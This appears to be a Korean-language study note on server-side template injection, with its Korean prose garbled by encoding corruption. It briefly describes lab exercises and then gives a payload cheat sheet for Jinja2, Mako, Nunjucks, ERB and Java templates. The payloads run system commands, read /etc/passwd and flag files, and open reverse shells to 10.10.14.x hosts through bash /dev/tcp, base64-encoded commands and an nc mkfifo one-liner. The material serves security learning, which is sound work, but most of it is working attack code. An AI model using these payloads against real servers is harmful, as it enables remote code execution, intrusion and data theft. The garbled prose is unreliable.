Server-side template injection
๐ What is SSTI?
Server-side template injection(SSTI)์ ๊ณต๊ฒฉ์๊ฐ ํ ํ๋ฆฟ ๊ตฌ๋ฌธ์ ์ฌ์ฉํ์ฌ ์ ์ฑ ํ์ด๋ก๋๋ฅผ ๊ธฐ์กด ํ ํ๋ฆฟ์ ์ฃผ์ ํ์ฌ ์ํ๋ ํ๋์ ์๋ฒ์ธก์์ ์คํ๋ ์ ์๋ ๊ณต๊ฒฉ์ ๋๋ค
๋ค์ํ ํ
ํ๋ฆฟ์ด ์๊ณ ํ
ํ๋ฆฟ๋ง๋ค ๋ฌธ๋ฒ์ด ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์ ํตํด ํ
ํ๋ฆฟ์ ๊ตฌ๋ถํ ์ ๋ ์์ต๋๋ค.
${7*7} ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ํ a{*comment*}b ๊ณต๊ฒฉ๋ฌธ์ ์
๋ ฅํ์์๋ ๊ทธ๋๋ก ์ถ๋ ฅ์ด ๋๋ฉด Smarty
๊ณต๊ฒฉ ์
๋ ฅ๊ฐ์ด ๋์ค๋ฉด์ ${"z".join("ab")} ๊ณต๊ฒฉ ์ถ๊ฐ ์
๋ ฅํ์ฌ ํ์ธํ ์ ์์ต๋๋ค.
๋ํ response X-Powered-By ํค๋๋ฅผ ํตํด์๋ ํ๋ ์์ํฌ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
Basic server-side template injection with Mako template
Python ๊ธฐ๋ฐ์ Mako ํ ํ๋ฆฟ์ ์ฌ์ฉํ๋๊ฒ์ ์์์ ๊ฒฝ์ฐ ์ฌ์ฉ๊ฐ๋ฅํ ์ทจ์ฝ์ ์ ๋๋ค.
ํ๋ผ๋ฏธํฐ ์ ์ก
SSTI ์ทจ์ฝ์ ํ์ธ
ํ์ด๋ก๋ URL ์ธ์ฝ๋ฉ
๊ณ์ ์ญ์ ๋ช
๋ น์ด ์
๋ ฅ์ฑ๊ณต
Basic server-side template injection (code context)
Python ๊ธฐ๋ฐ์ Tornado ํ ํ๋ฆฟ์ ์ฌ์ฉํ๋๊ฒ์ ์์์ ๊ฒฝ์ฐ ์ฌ์ฉ๊ฐ๋ฅํ ์ทจ์ฝ์ ์ ๋๋ค.
7x7 ์
๋ ฅ
์ทจ์ฝ์ ํ์ธ
Tornado ํ
ํ๋ฆฟ ๋ฌธ๋ฒ ํ์ด๋ก๋ ์
๋ ฅ
๐ฅ Cheat sheet
-
Jinja2 (Python)
# Exploit the SSTI by calling subprocess.Popen
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
# Reverse shell
echo -ne 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1' | base64
-> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ==
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ==${IFS}|base64${IFS}-d|bash').read()}}
-
Mako (Python)
${5*5} ${open('/flag.txt').read()}
-
NUNJUCKS (NodeJS)
# Basic injection
{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}
{{console.log(1)}} = Error
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
# " ๊ฐ ๋ฌธ์์ด๋ก ์ธ์๋ ๊ฒฝ์ฐ \ ์ฌ์ฉ
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 9001 >/tmp/f')\")()}}
-
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
-
Java
# Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
# Java - Retrieve /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}